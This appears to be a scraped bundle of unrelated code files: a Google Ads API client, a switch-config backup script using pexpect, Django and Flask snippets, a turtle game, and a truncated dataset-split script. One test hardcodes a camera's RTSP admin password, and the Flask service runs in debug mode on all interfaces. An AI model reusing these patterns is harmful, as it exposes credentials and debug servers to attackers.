2023-04-05T06:30:04.726589
2021-04-13T23:35:20
2021-04-13T23:35:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
23,859
py
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from collections import OrderedDict from distutils import util import os import re from typing import Callable, Dict, Optional, Sequence, Tuple, Type, Union import pkg_resources from google.api_core import client_options as client_options_lib # type: ignore from google.api_core import exceptions # type: ignore from google.api_core import gapic_v1 # type: ignore from google.api_core import retry as retries # type: ignore from google.auth import credentials # type: ignore from google.auth.transport import mtls # type: ignore from google.auth.transport.grpc import SslCredentials # type: ignore from google.auth.exceptions import MutualTLSChannelError # type: ignore from google.oauth2 import service_account # type: ignore from google.ads.googleads.v6.enums.types import extension_setting_device from google.ads.googleads.v6.enums.types import extension_type from google.ads.googleads.v6.resources.types import ad_group_extension_setting from google.ads.googleads.v6.services.types import ad_group_extension_setting_service from google.rpc import status_pb2 as status # type: ignore from .transports.base import AdGroupExtensionSettingServiceTransport, DEFAULT_CLIENT_INFO from .transports.grpc import AdGroupExtensionSettingServiceGrpcTransport class AdGroupExtensionSettingServiceClientMeta(type): """Metaclass for the AdGroupExtensionSettingService client. This provides class-level methods for building and retrieving support objects (e.g. transport) without polluting the client instance objects. """ _transport_registry = OrderedDict() # type: Dict[str, Type[AdGroupExtensionSettingServiceTransport]] _transport_registry['grpc'] = AdGroupExtensionSettingServiceGrpcTransport def get_transport_class(cls, label: str = None, ) -> Type[AdGroupExtensionSettingServiceTransport]: """Return an appropriate transport class. Args: label: The name of the desired transport. If none is provided, then the first transport in the registry is used. Returns: The transport class to use. """ # If a specific transport is requested, return that one. if label: return cls._transport_registry[label] # No transport is requested; return the default (that is, the first one # in the dictionary). return next(iter(cls._transport_registry.values())) class AdGroupExtensionSettingServiceClient(metaclass=AdGroupExtensionSettingServiceClientMeta): """Service to manage ad group extension settings.""" @staticmethod def _get_default_mtls_endpoint(api_endpoint): """Convert api endpoint to mTLS endpoint. Convert "*.sandbox.googleapis.com" and "*.googleapis.com" to "*.mtls.sandbox.googleapis.com" and "*.mtls.googleapis.com" respectively. Args: api_endpoint (Optional[str]): the api endpoint to convert. Returns: str: converted mTLS api endpoint. """ if not api_endpoint: return api_endpoint mtls_endpoint_re = re.compile( r"(?P<name>[^.]+)(?P<mtls>\.mtls)?(?P<sandbox>\.sandbox)?(?P<googledomain>\.googleapis\.com)?" ) m = mtls_endpoint_re.match(api_endpoint) name, mtls, sandbox, googledomain = m.groups() if mtls or not googledomain: return api_endpoint if sandbox: return api_endpoint.replace( "sandbox.googleapis.com", "mtls.sandbox.googleapis.com" ) return api_endpoint.replace(".googleapis.com", ".mtls.googleapis.com") DEFAULT_ENDPOINT = 'googleads.googleapis.com' DEFAULT_MTLS_ENDPOINT = _get_default_mtls_endpoint.__func__( # type: ignore DEFAULT_ENDPOINT ) @classmethod def from_service_account_info(cls, info: dict, *args, **kwargs): """Creates an instance of this client using the provided credentials info. Args: info (dict): The service account private key info. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: AdGroupExtensionSettingServiceClient: The constructed client. """ credentials = service_account.Credentials.from_service_account_info(info) kwargs["credentials"] = credentials return cls(*args, **kwargs) @classmethod def from_service_account_file(cls, filename: str, *args, **kwargs): """Creates an instance of this client using the provided credentials file. Args: filename (str): The path to the service account private key json file. args: Additional arguments to pass to the constructor. kwargs: Additional arguments to pass to the constructor. Returns: AdGroupExtensionSettingServiceClient: The constructed client. """ credentials = service_account.Credentials.from_service_account_file( filename) kwargs['credentials'] = credentials return cls(*args, **kwargs) from_service_account_json = from_service_account_file @property def transport(self) -> AdGroupExtensionSettingServiceTransport: """Return the transport used by the client instance. Returns: AdGroupExtensionSettingServiceTransport: The transport used by the client instance. """ return self._transport @staticmethod def ad_group_path(customer_id: str,ad_group_id: str,) -> str: """Return a fully-qualified ad_group string.""" return "customers/{customer_id}/adGroups/{ad_group_id}".format(customer_id=customer_id, ad_group_id=ad_group_id, ) @staticmethod def parse_ad_group_path(path: str) -> Dict[str,str]: """Parse a ad_group path into its component segments.""" m = re.match(r"^customers/(?P<customer_id>.+?)/adGroups/(?P<ad_group_id>.+?)$", path) return m.groupdict() if m else {} @staticmethod def ad_group_extension_setting_path(customer_id: str,ad_group_id: str,extension_type: str,) -> str: """Return a fully-qualified ad_group_extension_setting string.""" return "customers/{customer_id}/adGroupExtensionSettings/{ad_group_id}~{extension_type}".format(customer_id=customer_id, ad_group_id=ad_group_id, extension_type=extension_type, ) @staticmethod def parse_ad_group_extension_setting_path(path: str) -> Dict[str,str]: """Parse a ad_group_extension_setting path into its component segments.""" m = re.match(r"^customers/(?P<customer_id>.+?)/adGroupExtensionSettings/(?P<ad_group_id>.+?)~(?P<extension_type>.+?)$", path) return m.groupdict() if m else {} @staticmethod def extension_feed_item_path(customer_id: str,feed_item_id: str,) -> str: """Return a fully-qualified extension_feed_item string.""" return "customers/{customer_id}/extensionFeedItems/{feed_item_id}".format(customer_id=customer_id, feed_item_id=feed_item_id, ) @staticmethod def parse_extension_feed_item_path(path: str) -> Dict[str,str]: """Parse a extension_feed_item path into its component segments.""" m = re.match(r"^customers/(?P<customer_id>.+?)/extensionFeedItems/(?P<feed_item_id>.+?)$", path) return m.groupdict() if m else {} @staticmethod def common_billing_account_path(billing_account: str, ) -> str: """Return a fully-qualified billing_account string.""" return "billingAccounts/{billing_account}".format(billing_account=billing_account, ) @staticmethod def parse_common_billing_account_path(path: str) -> Dict[str,str]: """Parse a billing_account path into its component segments.""" m = re.match(r"^billingAccounts/(?P<billing_account>.+?)$", path) return m.groupdict() if m else {} @staticmethod def common_folder_path(folder: str, ) -> str: """Return a fully-qualified folder string.""" return "folders/{folder}".format(folder=folder, ) @staticmethod def parse_common_folder_path(path: str) -> Dict[str,str]: """Parse a folder path into its component segments.""" m = re.match(r"^folders/(?P<folder>.+?)$", path) return m.groupdict() if m else {} @staticmethod def common_organization_path(organization: str, ) -> str: """Return a fully-qualified organization string.""" return "organizations/{organization}".format(organization=organization, ) @staticmethod def parse_common_organization_path(path: str) -> Dict[str,str]: """Parse a organization path into its component segments.""" m = re.match(r"^organizations/(?P<organization>.+?)$", path) return m.groupdict() if m else {} @staticmethod def common_project_path(project: str, ) -> str: """Return a fully-qualified project string.""" return "projects/{project}".format(project=project, ) @staticmethod def parse_common_project_path(path: str) -> Dict[str,str]: """Parse a project path into its component segments.""" m = re.match(r"^projects/(?P<project>.+?)$", path) return m.groupdict() if m else {} @staticmethod def common_location_path(project: str, location: str, ) -> str: """Return a fully-qualified location string.""" return "projects/{project}/locations/{location}".format(project=project, location=location, ) @staticmethod def parse_common_location_path(path: str) -> Dict[str,str]: """Parse a location path into its component segments.""" m = re.match(r"^projects/(?P<project>.+?)/locations/(?P<location>.+?)$", path) return m.groupdict() if m else {} def __init__(self, *, credentials: Optional[credentials.Credentials] = None, transport: Union[str, AdGroupExtensionSettingServiceTransport, None] = None, client_options: Optional[client_options_lib.ClientOptions] = None, client_info: gapic_v1.client_info.ClientInfo = DEFAULT_CLIENT_INFO, ) -> None: """Instantiate the ad group extension setting service client. Args: credentials (Optional[google.auth.credentials.Credentials]): The authorization credentials to attach to requests. These credentials identify the application to the service; if none are specified, the client will attempt to ascertain the credentials from the environment. transport (Union[str, ~.AdGroupExtensionSettingServiceTransport]): The transport to use. If set to None, a transport is chosen automatically. client_options (google.api_core.client_options.ClientOptions): Custom options for the client. It won't take effect if a ``transport`` instance is provided. (1) The ``api_endpoint`` property can be used to override the default endpoint provided by the client. GOOGLE_API_USE_MTLS_ENDPOINT environment variable can also be used to override the endpoint: "always" (always use the default mTLS endpoint), "never" (always use the default regular endpoint) and "auto" (auto switch to the default mTLS endpoint if client certificate is present, this is the default value). However, the ``api_endpoint`` property takes precedence if provided. (2) If GOOGLE_API_USE_CLIENT_CERTIFICATE environment variable is "true", then the ``client_cert_source`` property can be used to provide client certificate for mutual TLS transport. If not provided, the default SSL client certificate will be used if present. If GOOGLE_API_USE_CLIENT_CERTIFICATE is "false" or not set, no client certificate will be used. client_info (google.api_core.gapic_v1.client_info.ClientInfo): The client info used to send a user-agent string along with API requests. If ``None``, then default info will be used. Generally, you only need to set this if you're developing your own client library. Raises: google.auth.exceptions.MutualTLSChannelError: If mutual TLS transport creation failed for any reason. """ if isinstance(client_options, dict): client_options = client_options_lib.from_dict(client_options) if client_options is None: client_options = client_options_lib.ClientOptions() # Create SSL credentials for mutual TLS if needed. use_client_cert = bool(util.strtobool(os.getenv("GOOGLE_API_USE_CLIENT_CERTIFICATE", "false"))) ssl_credentials = None is_mtls = False if use_client_cert: if client_options.client_cert_source: import grpc # type: ignore cert, key = client_options.client_cert_source() ssl_credentials = grpc.ssl_channel_credentials( certificate_chain=cert, private_key=key ) is_mtls = True else: creds = SslCredentials() is_mtls = creds.is_mtls ssl_credentials = creds.ssl_credentials if is_mtls else None # Figure out which api endpoint to use. if client_options.api_endpoint is not None: api_endpoint = client_options.api_endpoint else: use_mtls_env = os.getenv("GOOGLE_API_USE_MTLS_ENDPOINT", "auto") if use_mtls_env == "never": api_endpoint = self.DEFAULT_ENDPOINT elif use_mtls_env == "always": api_endpoint = self.DEFAULT_MTLS_ENDPOINT elif use_mtls_env == "auto": api_endpoint = self.DEFAULT_MTLS_ENDPOINT if is_mtls else self.DEFAULT_ENDPOINT else: raise MutualTLSChannelError( "Unsupported GOOGLE_API_USE_MTLS_ENDPOINT value. Accepted values: never, auto, always" ) # Save or instantiate the transport. # Ordinarily, we provide the transport, but allowing a custom transport # instance provides an extensibility point for unusual situations. if isinstance(transport, AdGroupExtensionSettingServiceTransport): # transport is a AdGroupExtensionSettingServiceTransport instance. if credentials: raise ValueError('When providing a transport instance, ' 'provide its credentials directly.') self._transport = transport elif isinstance(transport, str): Transport = type(self).get_transport_class(transport) self._transport = Transport( credentials=credentials, host=self.DEFAULT_ENDPOINT ) else: self._transport = AdGroupExtensionSettingServiceGrpcTransport( credentials=credentials, host=api_endpoint, ssl_channel_credentials=ssl_credentials, client_info=client_info, ) def get_ad_group_extension_setting(self, request: ad_group_extension_setting_service.GetAdGroupExtensionSettingRequest = None, *, resource_name: str = None, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> ad_group_extension_setting.AdGroupExtensionSetting: r"""Returns the requested ad group extension setting in full detail. Args: request (:class:`google.ads.googleads.v6.services.types.GetAdGroupExtensionSettingRequest`): The request object. Request message for [AdGroupExtensionSettingService.GetAdGroupExtensionSetting][google.ads.googleads.v6.services.AdGroupExtensionSettingService.GetAdGroupExtensionSetting]. resource_name (:class:`str`): Required. The resource name of the ad group extension setting to fetch. This corresponds to the ``resource_name`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.ads.googleads.v6.resources.types.AdGroupExtensionSetting: An ad group extension setting. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. if request is not None and any([resource_name]): raise ValueError('If the `request` argument is set, then none of ' 'the individual field arguments should be set.') # Minor optimization to avoid making a copy if the user passes # in a ad_group_extension_setting_service.GetAdGroupExtensionSettingRequest. # There's no risk of modifying the input as we've already verified # there are no flattened fields. if not isinstance(request, ad_group_extension_setting_service.GetAdGroupExtensionSettingRequest): request = ad_group_extension_setting_service.GetAdGroupExtensionSettingRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if resource_name is not None: request.resource_name = resource_name # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = self._transport._wrapped_methods[self._transport.get_ad_group_extension_setting] # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata(( ('resource_name', request.resource_name), )), ) # Send the request. response = rpc( request, retry=retry, timeout=timeout, metadata=metadata, ) # Done; return the response. return response def mutate_ad_group_extension_settings(self, request: ad_group_extension_setting_service.MutateAdGroupExtensionSettingsRequest = None, *, customer_id: str = None, operations: Sequence[ad_group_extension_setting_service.AdGroupExtensionSettingOperation] = None, retry: retries.Retry = gapic_v1.method.DEFAULT, timeout: float = None, metadata: Sequence[Tuple[str, str]] = (), ) -> ad_group_extension_setting_service.MutateAdGroupExtensionSettingsResponse: r"""Creates, updates, or removes ad group extension settings. Operation statuses are returned. Args: request (:class:`google.ads.googleads.v6.services.types.MutateAdGroupExtensionSettingsRequest`): The request object. Request message for [AdGroupExtensionSettingService.MutateAdGroupExtensionSettings][google.ads.googleads.v6.services.AdGroupExtensionSettingService.MutateAdGroupExtensionSettings]. customer_id (:class:`str`): Required. The ID of the customer whose ad group extension settings are being modified. This corresponds to the ``customer_id`` field on the ``request`` instance; if ``request`` is provided, this should not be set. operations (:class:`Sequence[google.ads.googleads.v6.services.types.AdGroupExtensionSettingOperation]`): Required. The list of operations to perform on individual ad group extension settings. This corresponds to the ``operations`` field on the ``request`` instance; if ``request`` is provided, this should not be set. retry (google.api_core.retry.Retry): Designation of what errors, if any, should be retried. timeout (float): The timeout for this request. metadata (Sequence[Tuple[str, str]]): Strings which should be sent along with the request as metadata. Returns: google.ads.googleads.v6.services.types.MutateAdGroupExtensionSettingsResponse: Response message for an ad group extension setting mutate. """ # Create or coerce a protobuf request object. # Sanity check: If we got a request object, we should *not* have # gotten any keyword arguments that map to the request. if request is not None and any([customer_id, operations]): raise ValueError('If the `request` argument is set, then none of ' 'the individual field arguments should be set.') # Minor optimization to avoid making a copy if the user passes # in a ad_group_extension_setting_service.MutateAdGroupExtensionSettingsRequest. # There's no risk of modifying the input as we've already verified # there are no flattened fields. if not isinstance(request, ad_group_extension_setting_service.MutateAdGroupExtensionSettingsRequest): request = ad_group_extension_setting_service.MutateAdGroupExtensionSettingsRequest(request) # If we have keyword arguments corresponding to fields on the # request, apply these. if customer_id is not None: request.customer_id = customer_id if operations is not None: request.operations = operations # Wrap the RPC method; this adds retry and timeout information, # and friendly error handling. rpc = self._transport._wrapped_methods[self._transport.mutate_ad_group_extension_settings] # Certain fields should be provided within the metadata header; # add these here. metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata(( ('customer_id', request.customer_id), )), ) # Send the request. response = rpc( request, retry=retry, timeout=timeout, metadata=metadata, ) # Done; return the response. return response __all__ = ( 'AdGroupExtensionSettingServiceClient', )
[ "bazel-bot-development[bot]@users.noreply.github.com" ]
bazel-bot-development[bot]@users.noreply.github.com
08d07137db86aa9a39796ee890744278c465c620
8af1e14d37b2d730aeeaf49fd2091a02708124c2
/build.py
b8953023fe83ba4262c6158faa1e1b39734e2246
[ "MIT" ]
permissive
gilmoreorless/double-30-overs
aebd0fc332121f2ff82ce5f003a9b09f023a79fe
9dec986e5a2be31dec2122dd712a1c5ac8fe77ea
refs/heads/master
2021-01-19T01:25:45.296001
2015-05-23T01:00:58
2015-05-23T01:00:58
33,439,198
0
0
null
null
null
null
UTF-8
Python
false
false
885
py
#!/usr/bin/env python # # Requirements: pip install markdown import re import codecs import markdown with codecs.open('src/index.md', 'r', 'utf-8') as input: source = input.read() html = markdown.markdown(source) # Big callout numbers # ++1234++ callout = re.compile('\+\+(.*?)\+\+') html = callout.sub('<q class="callout">\\1</q>', html) # Links to match scorecards on Cricinfo # [cric-match id="nnn"]text[/cric-match] cric_match = re.compile('\[cric-match id="(.*?)"\](.*?)\[\/cric-match\]') html = cric_match.sub('<a href="http://www.espncricinfo.com/ci/engine/match/\\1.html" title="Match #\\1 on Cricinfo">\\2</a>', html) with codecs.open('src/template.html', 'r', 'utf-8') as tpl_file: template = tpl_file.read() full_html = template.replace('<!-- CONTENT GOES HERE -->', html) with codecs.open('index.html', 'w', 'utf-8') as output: output.write(full_html)
[ "gilmoreorless@gmail.com" ]
gilmoreorless@gmail.com
7357b195617ca226ab46ca633dea4d8c5de65e95
db24de31a07b254b721bb035239cd0cc03e5a364
/backup_configs.py
573885939af473e6e4f48ad1aaaf0f7c1c26b339
[]
no_license
darathma/pexpect_examples
74fe1708e7edb79a2dbc7330af9aba4db799a0b8
3e52fbeb801ef530d296509691fcae66db3e53ac
refs/heads/master
2022-09-28T13:11:10.798839
2020-06-03T21:09:09
2020-06-03T21:09:09
269,162,544
0
0
null
null
null
null
UTF-8
Python
false
false
2,216
py
import getpass import pexpect import sys from datetime import date user = input('Enter your username: ') password = getpass.getpass() ssh_newkey = 'Are you sure you want to continue connecting' today = date.today() file = open('multi_switches.txt', mode = 'r') for host in file: IP = host.strip() print('Connecting to ' + (IP)) tnconn = pexpect.spawn('ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 {}@{}'.format(user, IP), timeout=5, encoding='utf-8') #tnconn.logfile_read = sys.stdout #used to read all output of session; can also use logfile_write to view commands sent result = tnconn.expect([ssh_newkey, 'Password: ', pexpect.TIMEOUT]) if result == 0: print('Accept SSH Fingerprint') tnconn.sendline('yes') result = tnconn.expect(['Password: ', pexpect.TIMEOUT]) if result != 0: print('Failure Connecting to ' + IP) exit() tnconn.sendline(password) elif result == 1: tnconn.sendline(password) result = tnconn.expect(['>', '#', pexpect.TIMEOUT]) if result == 0: tnconn.sendline('enable') result = tnconn.expect(['Password:', pexpect.TIMEOUT]) if result != 0: print('Failure with enable command') exit() tnconn.sendline(password) result = tnconn.expect(['#', pexpect.TIMEOUT]) if result != 0: print('Failure entering enable mode') exit() elif result == 1: pass elif result == 2: print('Failure with ' + IP) exit() tnconn.sendline('terminal length 0') result = tnconn.expect(['#', pexpect.TIMEOUT]) if result != 0: print('Failure setting terminal length') exit() #tnconn.logfile_read = sys.stdout #prints output to screen output_file = open('running-config_for_{}_{}.txt'.format(IP, today), 'w') tnconn.logfile_read = output_file tnconn.sendline('show running-config') result = tnconn.expect(['#', pexpect.TIMEOUT]) if result == 0: print('Successfully read running-config') elif result != 0: print('Command failure') exit() output_file.close() tnconn.close() file.close()
[ "noreply@github.com" ]
noreply@github.com
8d2bdb40a597116b5b8b30dc0ea6843cf904412e
fffc0e2384d29fb34041e0bde8c50cd4b01422d8
/core/mixins.py
95ec4f36c493724ee34f8cf40fb82a2c4c8032f6
[]
no_license
andrei-dev-fe/HelloWord
7d87959e5c7e92d0c0f094d8dc7ccb6ce594b2e8
1c5f22623f7d51df690c2cdaa9864206cac37c0d
refs/heads/master
2023-03-22T12:37:34.015566
2021-03-23T02:25:41
2021-03-23T02:25:41
350,553,132
0
0
null
null
null
null
UTF-8
Python
false
false
1,207
py
from rest_framework import mixins, status from rest_framework.response import Response class BulkCreateModelMixin(mixins.CreateModelMixin): """ Create valid objects and return errors for invalid ones. """ def create(self, request, *args, **kwargs): # The initial serializer serializer = self.get_serializer(data=request.data, many=True) serializer.is_valid() return_data = [] if serializer.errors: for errors, data in zip(serializer.errors, serializer.initial_data): # If item doesn't have errors if not errors: # Create a an individual serializer for the valid object and save it object_serializer = self.get_serializer(data=data) if object_serializer.is_valid(): object_serializer.save() else: return_data.append(errors) return_status = status.HTTP_206_PARTIAL_CONTENT else: serializer.save() return_data = {"success": True} return_status = status.HTTP_201_CREATED return Response(return_data, status=return_status)
[ "andrei.webdev@hotmail.com" ]
andrei.webdev@hotmail.com
a55121c50d2cd17ca1822484ea63faff551bfcf1
89fc7f37c5a40c1766028d56319cb5fc6a87a6a6
/milicien/admin.py
e99cf318863e00b1d0477066e5a88c0a2a8496aa
[]
no_license
ubltroll/lamer_py
c795e144776db6bd1aadc231ad656b44e7d73655
69bfadcf0902acfef73bf604659db75241bdfafa
refs/heads/master
2021-05-11T16:55:55.292981
2018-04-22T13:53:59
2018-04-22T13:53:59
117,779,762
0
1
null
null
null
null
UTF-8
Python
false
false
982
py
from django.contrib import admin from django.contrib.auth.admin import UserAdmin as BaseUserAdmin from django.contrib.auth.models import User from milicien.models import Profile,assistance,setting,shipCode # Define an inline admin descriptor for Employee model # which acts a bit like a singleton class ProfileInline(admin.StackedInline): model = Profile can_delete = False verbose_name_plural = 'profile' # Define a new User admin class UserAdmin(BaseUserAdmin): inlines = (ProfileInline, ) # Re-register UserAdmin admin.site.unregister(User) admin.site.register(User, UserAdmin) class AssistanceAdmin(admin.ModelAdmin): list_display=('fromuser','touser','time') admin.site.register(assistance, AssistanceAdmin) class SettingAdmin(admin.ModelAdmin): list_display=('keyword','value') admin.site.register(setting, SettingAdmin) class ShipsAdmin(admin.ModelAdmin): list_display=('uid','shipClass','cdkey') admin.site.register(shipCode, ShipsAdmin)
[ "chen1045bc@vip.qq.com" ]
chen1045bc@vip.qq.com
2fe3c41092642fd883280b535084a8e65677a4f4
283928f562574f40161cbf5b93b9b3be4de55ee9
/inference-engine/tests/test_Image_Predictor.py
4005499296b36ba51f813b803e4969bc5ff1ebe9
[]
no_license
kongseokhwan/smart_signage
4ab6689efcbe11f38e62eaf36291c845ed7c641f
b0c97d71bf8c1cf754e09ec9c61c2c693bba80fc
refs/heads/master
2022-04-05T02:08:04.636909
2020-02-25T05:46:12
2020-02-25T05:46:12
242,871,042
0
1
null
null
null
null
UTF-8
Python
false
false
364
py
import pytest from handler.ImagePredictor import ImagePredictor class TestImagePredictor: def test_read_image(self, capsys): print ("test") self.ip = ImagePredictor() self.ip.read_image('rtsp://admin:Kulcloud&&@10.1.100.35:554') #self.ip.read_image(0) print (self.ip.predict()) assert self.ip.frame is not None
[ "luzhcs@gmail.com" ]
luzhcs@gmail.com
0f97f6497d711f09d33f01461d992e7caa12c186
ed32eb1eb0a328a4ffe89e178fc4987470f333cd
/module/multi_process/multi_process_data_share_queue.py
5a0bf787d49a21a07716851ed7ecdbf5bd202769
[]
no_license
xiaoyaojjian/py_learn
c6f5bdf31bcebf29dd914e81e6be9305a61265cc
95e494ea823d2074a05c1c2a49595002a1576093
refs/heads/master
2020-12-05T23:22:11.017066
2016-09-08T01:13:08
2016-09-08T01:13:08
67,654,055
1
0
null
null
null
null
UTF-8
Python
false
false
350
py
""" 使用 multiprocessing 中的 Queue 队列, 实现进程间数据共享 """ from multiprocessing import Process, Queue def fun(q, n): q.put(['hi, ', n]) if __name__ == '__main__': q = Queue() q.put('Ao') for i in range(5): p = Process(target=fun, args=(q, i)) p.start() while True: print(q.get())
[ "q2868765@qq.com" ]
q2868765@qq.com
f3629dabc9b32d63e5b11a0fc80531d319b34122
2a1cc7bc4e6fec0295e333d64101726e83df1317
/python/MM-19 Turtle Game - Apple Hunter.py
919e10df3c8e0ddbff51a50fc024e6dc3b77c9bc
[ "MIT" ]
permissive
eealeivan/tpt
79b4c46c8a1272466f2e55074b28ac53e8dad504
5960d17f9ef303e851b6759a732e111ae8114458
refs/heads/master
2020-03-31T16:40:46.745704
2020-03-24T21:00:47
2020-03-24T21:00:47
152,385,646
1
3
null
null
null
null
UTF-8
Python
false
false
1,859
py
import turtle import math import random # set up screen screen = turtle.Screen() screen.setup(700, 700) # draw border border = turtle.Turtle() border.pensize(3) border.penup() border.setpos(-300, -300) border.pendown() border_cnt = 1 while border_cnt <= 4: border.forward(600) border.left(90) border_cnt = border_cnt + 1 # create player player = turtle.Turtle() player.shape('turtle') player.color('blue') player.speed(0) player.penup() # create apples max_apples = 5 apples = [] for i in range(max_apples): apple = turtle.Turtle() apple.shape('circle') apple.color('red') apple.penup() apple.speed(0) apple.setpos(random.randint(-300, 300), random.randint(-300, 300)) apple.right(random.randint(0, 360)) apples.append(apple) speed = 1 def increase_speed(): global speed speed = speed + 1 def turn_left(): player.left(30) def turn_right(): player.right(30) def is_in_boundaries(t): x = t.xcor() y = t.ycor() if x < 300 and x > -300 and y < 300 and y > -300: return True else: return False def is_collision(t1, t2): d = math.sqrt( math.pow(t1.xcor() - t2.xcor(), 2) + math.pow(t1.ycor() - t2.ycor(), 2)) if d < 20: return True else: return False turtle.listen() turtle.onkey(increase_speed, 'Up') turtle.onkey(turn_left, 'Left') turtle.onkey(turn_right, 'Right') while True: player.forward(speed) if not is_in_boundaries(player): player.right(180) for apple in apples: if is_collision(player, apple): apple.setpos(random.randint(-300, 300), random.randint(-300, 300)) apple.right(random.randint(0, 360)) else: apple.forward(1) if not is_in_boundaries(apple): apple.right(180) turtle.done()
[ "noreply@github.com" ]
noreply@github.com
cb1f8328f2102a4ee9dfd5f445ed447cf7144c20
eb8841069e36ed4894f0e93ec3ce46c8cbddc089
/wishlist-microservice-python/index.py
31e194849659b0998c50170d70e7aaaffe1e7195
[]
no_license
RAJENDER-GIRISH/microservices-application
c1ac63a248e2f040e2acd1a34bcceccbed0112bd
990030db8ef3b5922625d6fcb3f549f1a0479e26
refs/heads/main
2023-06-15T00:24:42.124470
2021-07-14T05:04:59
2021-07-14T05:04:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
769
py
from flask import Flask,request from flask_cors import CORS import json app = Flask(__name__) CORS(app) @app.route('/', methods = ['GET']) def hello(): print('Getting List of WishList Items') x = { "1": "Apple Iphone", "2": "MacBook", "3": "Your Fav Something else" } y = json.dumps(x) return y @app.route('/likes', methods = ['GET']) def likes(): print('Getting List of WishList Items') return 'List of WishList Items' @app.route('/product/<product>', methods = ['GET', 'POST']) def product(product): if request.method == 'POST': print(product) return product return 'Call from POST' if __name__ == '__main__': app.run(debug=True,host='0.0.0.0',port=1003) print('Wishlist Microservice Started...')
[ "root@ip-172-31-7-211.ec2.internal" ]
root@ip-172-31-7-211.ec2.internal
410876bd63bf1ac4b7d336894b9e933c1917fd8a
54011e314cc277d37d131d7e6a5977ab4e62a136
/src/split.py
f4c4ec2da428481908b14cba4727ff96c03984f1
[ "MIT" ]
permissive
DataManagementLab/fandomCorpus
578c3854e7c2038d0321520537bac4f27d57d75b
d89f57fd1b2d868d7984c572bfba3ea6b07ec8b8
refs/heads/master
2023-07-20T07:11:07.243934
2023-07-09T10:08:12
2023-07-09T10:08:12
225,869,277
1
0
MIT
2023-07-09T10:08:13
2019-12-04T13:04:43
Python
UTF-8
Python
false
false
5,018
py
import json import os import sys from os import path, listdir import random from math import ceil from parse_dump import get_base_path SPLIT_TEST = 0.1 SPLIT_VAL = 0.1 def split(wiki_name, experiment, threshold=0): """ Split available files into train, validation and test set :param wiki_name: name of the wikia dump to parse :type wiki_name: str :param experiment: name of the experiment to load the data for :type experiment: str :param threshold: if higher than 0, only files with sentence-based threshold over given threshold are considered :type threshold: int """ # Base paths path_experiment = path.abspath(path.join(get_base_path(wiki_name), experiment)) path_inputs = path.join(path_experiment, "inputs") path_labels_concept_based = path.join(path_experiment, "labels-concept-based") path_labels_sentence_based = path.join(path_experiment, "labels-sentence-based") path_human_abstracts = path.join(path_experiment, "human-abstracts") path_extractive_concept_based = path.join(path_experiment, "extractive-concept-based") path_extractive_sentence_based = path.join(path_experiment, "extractive-sentence-based") # List of all topics of this corpus files = [] for f in listdir(path_labels_concept_based): if f.endswith(".json"): with open(path.join(path_labels_sentence_based, f), 'r') as label_file: label_info = json.load(label_file) if label_info["score"] is not None and label_info["score"] >= threshold and label_info["length"] > 0: files.append(f) split_info = {"name": wiki_name, "size": len(files), "files": files, "splits": []} # Shuffle files to get a balanced split random.seed(42) random.shuffle(files) # Generate splits based upon configuration split_test_val = ceil(len(files) * SPLIT_TEST) split_val_train = ceil(len(files) * (SPLIT_TEST + SPLIT_VAL)) splits = [(f'test-{str(threshold)}', files[:split_test_val]), (f'valid-{str(threshold)}', files[split_test_val:split_val_train]), (f'train-{str(threshold)}', files[split_val_train:])] # For every split... for split_name, split_files in splits: # ... determine paths and create folders... split_path_inputs = path.join(path_inputs, split_name) os.makedirs(split_path_inputs, exist_ok=True) split_path_labels_concept_based = path.join(path_labels_concept_based, split_name) os.makedirs(split_path_labels_concept_based, exist_ok=True) split_path_labels_sentence_based = path.join(path_labels_sentence_based, split_name) os.makedirs(split_path_labels_sentence_based, exist_ok=True) split_path_human_abstracts = path.join(path_human_abstracts, split_name) os.makedirs(split_path_human_abstracts, exist_ok=True) split_path_extractive_concept_based = path.join(path_extractive_concept_based, split_name) os.makedirs(split_path_extractive_concept_based, exist_ok=True) split_path_extractive_sentence_based = path.join(path_extractive_sentence_based, split_name) os.makedirs(split_path_extractive_sentence_based, exist_ok=True) # Add info to json split_info["splits"].append({"name": split_name, "size": len(split_files), "files": split_files}) # ... and create symlinks for all affected files for file in split_files: os.symlink(path.relpath(path.join(path_inputs, file), split_path_inputs), path.join(split_path_inputs, file)) os.symlink(path.relpath(path.join(path_labels_concept_based, file), split_path_labels_concept_based), path.join(split_path_labels_concept_based, file)) os.symlink(path.relpath(path.join(path_labels_sentence_based, file), split_path_labels_sentence_based), path.join(split_path_labels_sentence_based, file)) fileid_ref = file[:-5] + ".1.txt" os.symlink(path.relpath(path.join(path_human_abstracts, fileid_ref), split_path_human_abstracts), path.join(split_path_human_abstracts, fileid_ref)) os.symlink(path.relpath(path.join(path_extractive_concept_based, fileid_ref), split_path_extractive_concept_based), path.join(split_path_extractive_concept_based, fileid_ref)) os.symlink(path.relpath(path.join(path_extractive_sentence_based, fileid_ref), split_path_extractive_sentence_based), path.join(split_path_extractive_sentence_based, fileid_ref)) with open(path.join(path_experiment, f"{wiki_name}.split.{str(threshold)}.json"), 'w') as split_info_file: json.dump(split_info, split_info_file, indent=2) if __name__ == "__main__": wiki_name = sys.argv[1] experiment = sys.argv[2] if len(sys.argv) > 3: threshold = 